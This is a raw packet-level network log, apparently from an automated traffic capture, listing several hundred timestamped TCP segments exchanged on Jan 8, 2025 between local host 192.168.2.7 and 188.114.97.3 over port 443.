Jan 8, 2025 13:55:11.639014959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639086962 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639095068 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639136076 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639337063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639352083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639394045 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639401913 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639435053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639453888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639774084 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639787912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639853954 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.639864922 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.639918089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.641618967 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.641643047 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.641706944 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.641716003 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.641758919 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.675918102 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.675935030 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.676019907 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.676034927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.676083088 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.676409006 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.676424980 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.676506996 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.676516056 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.676636934 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.699007034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.699023962 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.699095011 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.699103117 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.699147940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731626034 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731643915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731731892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731733084 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731746912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731774092 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731779099 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731807947 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731812954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731841087 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731857061 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.731911898 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731924057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.731996059 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.732002974 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.732049942 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.732347012 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.732361078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.732414007 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.732422113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.732461929 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.734123945 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.734138012 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.734210968 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.734219074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.734261036 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.768456936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.768471956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.768528938 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.768538952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.768572092 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.768590927 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.768888950 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.768904924 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.768965960 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.768975973 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.769018888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.791429996 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.791444063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.791501045 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.791510105 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.791568041 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830636024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830653906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830710888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830722094 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830760002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830777884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830779076 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830800056 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830838919 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830853939 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830869913 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830885887 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830893993 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830904961 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830938101 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830945015 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.830951929 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.830988884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.831002951 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.831012964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.831046104 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.831065893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.831090927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.831105947 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.831147909 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.831156015 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.831192017 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.860956907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.860979080 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.861057043 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.861067057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.861115932 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.861357927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.861372948 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.861433029 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.861440897 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.861495018 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.884005070 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.884025097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.884093046 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.884107113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.884165049 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.916312933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916332006 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916435003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.916460991 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916506052 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.916663885 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916682005 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916749001 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.916763067 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.916807890 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.917184114 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917200089 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917254925 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.917263031 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917304993 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.917680025 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917696953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917753935 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.917767048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.917819977 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.922810078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.922827005 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.922882080 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.922890902 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.922951937 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.953696012 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953716040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953783989 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.953803062 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953825951 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953864098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953880072 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.953898907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.953948021 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.976468086 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.976484060 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.976558924 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.976572037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:11.976605892 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:11.976627111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.008738041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.008764029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.008820057 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.008831024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.008873940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.009232044 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009251118 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009309053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.009316921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009365082 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.009756088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009771109 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009829044 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.009838104 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.009885073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.010154963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.010170937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.010230064 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.010237932 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.010281086 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.015119076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.015135050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.015194893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.015202045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.015247107 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.046061993 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046078920 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046158075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.046165943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046211004 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.046335936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046350956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046412945 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.046418905 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.046471119 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102255106 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102278948 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102348089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102365971 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102408886 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102555990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102576017 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102615118 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102622032 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102648020 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102689981 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102757931 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102776051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102827072 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102833986 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.102866888 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.102886915 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.104233980 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104253054 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104310036 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.104317904 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104362965 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.104811907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104831934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104901075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.104908943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.104968071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.109390020 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.109411001 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.109452963 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.109461069 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.109505892 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.109527111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.140295029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.140321016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.140408993 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.140443087 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.140444994 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.140465021 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.140489101 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.140666008 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.194669962 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.194685936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.194807053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.194807053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.194829941 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.194905043 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.195668936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.195687056 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.195843935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.195868969 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.195877075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.195914984 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.196003914 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.196021080 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196043015 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196116924 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.196124077 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196151972 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196172953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196245909 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.196254969 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.196285009 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.200651884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.200666904 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.200756073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.200756073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.200766087 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.230783939 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.230803967 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.230933905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.230933905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.230952024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.231309891 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.231329918 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.231456995 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.231472015 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.276669025 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.285651922 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.285661936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.285902977 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.285919905 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286001921 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.286597967 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286617041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286798000 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286825895 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286832094 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.286844969 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.286859989 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.286962986 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.287605047 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.287623882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.287763119 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.287772894 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.288142920 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.288163900 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.288239956 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.288239956 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.288249016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.293771982 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.293786049 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.293898106 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.293898106 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.293908119 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.323949099 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.323968887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.324038982 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.324048996 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.324099064 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.370497942 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.377573013 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.377589941 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.377664089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.377676964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.377774000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.378367901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.378387928 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.378499031 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.378506899 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.378586054 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.379036903 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.379051924 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.379136086 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.379136086 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.379144907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.379246950 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.379822969 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.379838943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.379972935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.380009890 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.380014896 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.380028963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.380053043 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.380105972 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.380599976 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.380615950 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.380763054 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.380775928 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.385565042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.385581970 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.385648966 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:12.385658979 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.415788889 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.415806055 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:12.415926933 CET	49706	443	192.168.2.7	188.114.97.3
